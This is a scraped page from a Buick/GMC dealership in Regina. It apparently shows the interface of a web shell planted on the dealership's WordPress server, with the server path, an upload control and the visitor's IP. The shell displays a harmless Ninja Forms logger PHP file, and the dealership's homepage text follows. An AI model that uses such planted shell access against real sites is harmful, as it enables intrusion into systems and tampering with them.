AlkantarClanX12

Your IP : 216.73.217.24


Current Path : /www/capitalgmcbuickregina_830/public/wp-content/plugins/ninja-forms/includes/Database/
Upload File :
Current File : /www/capitalgmcbuickregina_830/public/wp-content/plugins/ninja-forms/includes/Database/Logger.php

<?php if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Class NF_Abstracts_logger
 *
 * Handles custom logging for Ninja Forms and Ninja Forms Extensions.
 *
 * PSR-3 and WordPress Compliant where applicable.
 */
final class NF_Database_Logger extends NF_Abstracts_Logger
{
    protected $_current = array();

    /**
     * Logs with an arbitrary level.
     *
     * @param mixed $level
     * @param string $message
     * @param array $context
     * @return null
     */
    public function log( $level, $message, array $context = array() )
    {
        $message = $this->interpolate( $message, $context );

        // Create Log Object
        $log = Ninja_Forms()->form()->object()->get();
        $log->update_setting( 'type', 'log' )
            ->update_setting( 'level', $level )
            ->update_setting( 'message', $message );

        foreach ($context as $key => $value) {
            $log->update_setting($key, maybe_serialize($value));
        }

        // Add to Database
        $log->save();

        // Add to Current Property Array
        $this->_current[ $level ][] = $log;
    }

    /**
     * Get current logs for the request lifecycle
     *
     * @param string $level
     * @return array
     */
    public function get_current( $level = '' )
    {
        return ( $level ) ? $this->_current[ $level ] : $this->_current;
    }

    /**
     * Interpolates context values into the message placeholders.
     *
     * @param $message
     * @param array $context
     * @return string
     */
    protected function interpolate( $message, array $context = array() )
    {
        // build a replacement array with braces around the context keys
        $replace = array();
        foreach ($context as $key => $val) {

            if( is_array( $val ) ) continue;

            $replace['{' . $key . '}'] = $val;
        }

        // interpolate replacement values into the message and return
        return strtr($message, $replace);
    }
}

Home - Capital GMC Buick Regina

No data

Welcome to Capital GMC BUICK – REGINA

Thank you for choosing Capital GMC Buick | Regina, your premier certified Buick and GMC dealership proudly serving drivers in Regina and the surrounding communities. Whether you’re searching for a brand-new Buick or GMC vehicle or a meticulously inspected pre-owned model, we have a diverse selection to match your needs and lifestyle.

Beyond our impressive inventory, we offer a seamless and stress-free financing experience through our well-connected finance centre, where our team of experts is dedicated to securing the best loan or lease options for you, quickly, transparently, and hassle-free.

But our commitment to you doesn’t stop at the sale. Our state-of-the-art service centre is staffed with skilled Buick and GMC technicians who use the latest equipment and genuine OEM parts to keep your vehicle running at its best. From routine maintenance to complex repairs, we’ve got you covered.

Experience top-tier customer service, quality vehicles, and expert care, all in one place. Visit Capital GMC Buick | Regina today or call us at 306-205-8072 with any questions. We’re here to help!

Ask a Question